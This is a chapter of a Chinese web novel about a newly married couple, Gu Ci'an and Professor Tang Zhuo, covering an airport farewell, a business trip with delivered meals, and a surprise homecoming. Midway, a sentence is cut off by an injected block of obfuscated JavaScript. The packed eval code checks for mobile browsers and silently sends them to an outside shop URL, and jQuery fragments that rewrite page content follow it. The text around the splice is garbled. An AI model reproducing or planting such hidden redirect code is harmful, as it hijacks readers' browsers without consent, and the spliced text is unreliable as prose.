顾辞安没开自己的小破车,唐灼说开他的车去,顺便加个油。
到机场的时候时间刚刚好,停在送客区时,有几个人提着行李站在大厅门口,朝唐灼的车招了招手走了过来,应该是他的同事和学生们。
顾辞安没想到会在这种情况下和他的同事碰面,出于礼貌只能和唐灼一同下车,要不然都把人教授送到了,结果他的同事看到自己反而坐在驾驶位上不动弹,实在是不太好看。
几个同事和学生看到唐灼旁边站着的男人,都愣了片刻,唐教授在学校虽然总是一副沉稳、温和的模样,又因为相貌出众,刚来的时候免不了被人惦记。
这是第一次看到唐教授身边有其他人,不仅年轻,长相更是让人挪不开眼,两人在一起真是令人赏心悦目。
顾辞安看着众人的神情便知道了,唐灼应该没有公开他已婚的消息,是个意外。
或许唐灼并没有想把他们的关系公之于众,顾辞安微笑着点头,算是打过招呼。
王院长是个随和的性子,也从没什么领导的架子,私下大家关系都很好,调侃中带着疑问说:“小唐啊,这位是?”
唐灼语气平和,没有丝毫掩饰的意味:“王院长,这是顾辞安,我爱人,前不久刚结婚,没来得及和大家说。”
听到“爱人”二字的时候,顾辞安眸光亮了几分。
在他心里,这两个字远比任何称谓都来得郑重、虔诚。
尤其在文字的世界里,爱人从不是随口的称呼,而是藏在心底的尊称,是把人妥帖安放于心尖的存在,是比伴侣更深沉、比喜欢更郑重的情感。
不能想太深,应该只是唐教授的习惯,他习惯这么称呼。
既然唐灼都这么介绍了,他也不必扭捏,便大大方方站在那儿,礼貌回应:“各位老师好。”
几个学生听唐教授竟然就这样结婚了,不免有些许惊讶。
王院长身后一个姑娘露出的失落,指尖泛白紧握着书包的肩带,恰好被顾辞安尽收眼底。
其中一个似乎和唐灼关系不错的老师调侃道:“诶呦,看来有不少人要伤心了呢。”
他转向顾辞安:“唐教授在我们学校那是香饽饽,不过他本人有个外号‘工程院高岭之花’,看来是被人拿下了。”
“行了,他脸皮薄。”
“哎哟哟,这就护上了,平时和你开几句玩笑可不见你这么着。”
众人揶揄,顾辞安心想,今天温度也不高,怎么热得慌。
大家说了几句,时间差不多,准备进候机厅了。
唐灼走的时候低头在顾辞安耳边说了句什么,顾辞安没听清,风有些大,吹散了许多,呼在耳边的热气久久却没有散去。
顾辞安开车返回的路上还在回忆,说了什么呢,好像是向他解释说平时他们就这样聊天,让他别在意,又好像说了句有什么事情联系他,等他回来。
能有什么事呢,这么大人了,虽说唐灼大他好几岁,确实有点长辈的感觉,但顾辞安是个幼时就学会独立的人,自知靠人不如靠己,也明白尽量少给他人带去麻烦的道理。
明明之前好几年都是自己一个人住的,早已习惯,可唐灼走的这几天顾辞安竟有些不习惯。
屋子没了人气儿,没了声响,没了饭香。
这几天唐灼倒是有空就会给他发消息,打电话,并不频繁,都是饭点问他一句吃什么之类的,晚上睡前会互道晚安。
铃声响的时候,顾辞安正窝在沙发上睡觉,脸颊旁边压着半开的书,印了满脸红印。
“喂……”
唐灼听着顾辞安迷迷糊糊的声音,松了口气:“睡着了?我给你发消息没回。”
“我……没听到。”顾辞安还没醒过来,声音轻飘飘的,闭着眼把手机放在一旁,。
“没吃饭。”
“嗯,一会儿点个外卖吧。唐教授,你吃了吗。”
“吃了,外卖我给你点吧,别总吃些没营养的,不健康。”唐灼知道顾辞安肯定自己的话,就是瞎凑合着吃,舍不得给自己点贵的。
“没事,我自己点就行了。”连饭都得唐教授买,那属实有点过分了。
“听话,这两天我不在,外卖会定点送过去,早饭起不来就放门外,你醒了之后热热再吃。”唐灼态度坚定,没有一丝能商量的余地。
“……好,谢谢唐教授。”
“嗯?”
“我……知道了。”
听到这,唐灼总算满意,说:“好,那我先去忙了。”
大概过了半小时,外卖到了,顾辞安看着满满当当的便当盒,袋子上的logo他认识,是沐城有名的私房菜馆,没有外卖,不知道唐教授是怎么定到的。
这一餐下来,抵得上顾辞安好几天的伙食费,他吃的小心翼翼,不敢浪费一点,剩下的也没扔,整理好后放冰箱准备下顿再吃。
然而,接下来的几天,早中晚三餐,全是这家的,每一次都有不同的菜系,每一次他都吃不完。
顾辞安看着塞了满满当当的冰箱,皱了皱眉,犹豫片刻,还是拿出手机拍了张照片。
【辞安:图片】
【辞安:唐教授,不能再点了,快吃不下了,剩下这么多,太浪费了。】
几乎是下一秒,电话来了,是唐灼:“辞安,剩下的放冰箱久了会产生化学物质,容易吃坏肚子。”
“可,可是每次都剩下,这家店这么贵,扔了多可惜。”
“那我就少点点儿,把这些处理掉,好吗?”
顾辞安感到钱袋子里面好像有个无底洞,他替唐灼肉疼,但不得不承认,唐灼说的没错,最终还是答应了。
在几天的大鱼大肉下,顾辞安的脸都圆润了不少
这次出差还算顺利,比预计的时间足足提前了一天。
中午唐灼和王院长、几个同事还有项目负责人李工吃了顿简餐。
桌上大家问锦城有没有什么好玩儿的地方。
李工是当地人,熟络热情地介绍说:“我们锦城历史比较悠久,尤其多古建筑,比如东城的老城区,西城的锦绣阁,热闹的话,年轻人比较喜欢去城中心的云锦大街,那边有商场、小吃街和打卡的建筑,都挺不错的。”
唐灼有些感兴趣,他知道很多作者一年中会抽出或长或短的时间去采风,寻找灵感,也会从市井街巷中探寻看似寻常,却贯穿某人一生的故事。
他感兴趣地问:“李工,哪里烟火气足些?”
“那肯定是老城区了,唐教授想去的话,下午正好没事,我带您去吧。”
唐灼觉得有个当地人当向导会方便很多,便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434361|200943||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说:“那就麻烦李工了。”
“嗨,您太客气了,要不是有你们这些专业人士,我们的项目可得出不少问题,是我该感谢你们。”
锦城属于南方城市,空气湿润,正值春风和煦的季节,颇有烟雨江南的感觉。
他们来到老城,李工介绍说这里是几十年前就建好的,最初的锦城便从这里兴起。
后来城市逐渐发展扩张,慢慢向外建起很多高楼大厦,但老城还是保留了原本的韵味,所以整个城市风格偏古朴。
“老城是锦城的回忆和根儿,所以政府也并没有将这里过度商业化,只是尽最大可能,对那些年久失修的建筑进行修缮。这儿老人多,年纪大了,习惯了生活大半辈子的地方,所以大部分都没有搬离,人呐,还是喜欢守着回忆过日子。”
唐灼和李工一边逛,一边听对方介绍,这儿有很多空出的老屋子,只零星开了几家朴素的民宿,几间藏着非遗手艺的小铺子,不喧闹、不张扬,安安静静地,守着老城原本的模样。
走在纵横交错的青石板路上,道路旁还有一条蜿蜒曲折的沟壑,潺潺流水裹挟着春的气息流过家家户户的门前。
顾辞安应该会很喜欢这里,下次有机会可以带他一起。
唐灼这一路算是收获颇丰,买了不少东西。
李工笑着说:“唐教授很喜欢购物啊。”
“看着有意思,给我爱人买些回去新鲜新鲜。”提到爱人,唐灼的语气比方才的任何一句都软了不少。
“唐教授和您爱人感情很好,下次有机会一起来,我做东。”
“那就麻烦李工了。”唐灼客气回复。
东西太多,没法带,最终还是选择了快递,手里只拿了个酒色的手提袋。
这次工作进展得还算顺利,早早买了票就坐上了返程的航班,过去也经常出差,只是第一次有归心似箭的感觉。
飞机落地已经是晚上,同事顺路把唐灼送回来,站在楼下、抬头,那层楼的窗户好像有了温度,暖色的灯光夹杂在家家户户中,是独属唐灼的,是归处。
顾辞安关上淋浴准备穿衣服,突然发现自己忘了把睡衣拿进浴室,反正唐教授不在,抬手从架子上拿浴巾随意往腰间一裹,拉开浴室门。
可门刚一开,就迎面撞上推门而入的唐灼,四目相对的瞬间,两人都愣了。
顾辞安像被钉在原地,浑身僵住,声音都带着不易察觉的微颤:“唐、唐教授?你……回来了。”
唐灼提着袋子的手指猛地收紧。眼前人只松松裹着一条浴巾,发梢的水珠顺着颈侧滑落,滴在泛红的锁骨上,又往下坠去。
他喉结克制地滚了滚,视线几乎要挪不开。
再这样下去,他怕自己装不下去那副温和淡定的模样,努力压制片刻,才缓缓吐出:“嗯,提前结束就回来了。”
顾辞安慌得手足无措,却没看见唐灼眼底翻涌的情绪,连忙解释:“我、我忘记拿衣服了,我先回去换上。”话音未落就慌不择路回了卧室。
主卧门“咔嗒”一声关上,唐灼才缓缓吐出一口浊气。他从冰箱里拿出一瓶冰水,拧开瓶盖仰头狠狠灌下半瓶,冰凉的液体滑过喉咙,却依旧压不下心底翻涌的燥热。
顾辞安到底知不知道,这样毫无防备地站在他面前,有多让人失控。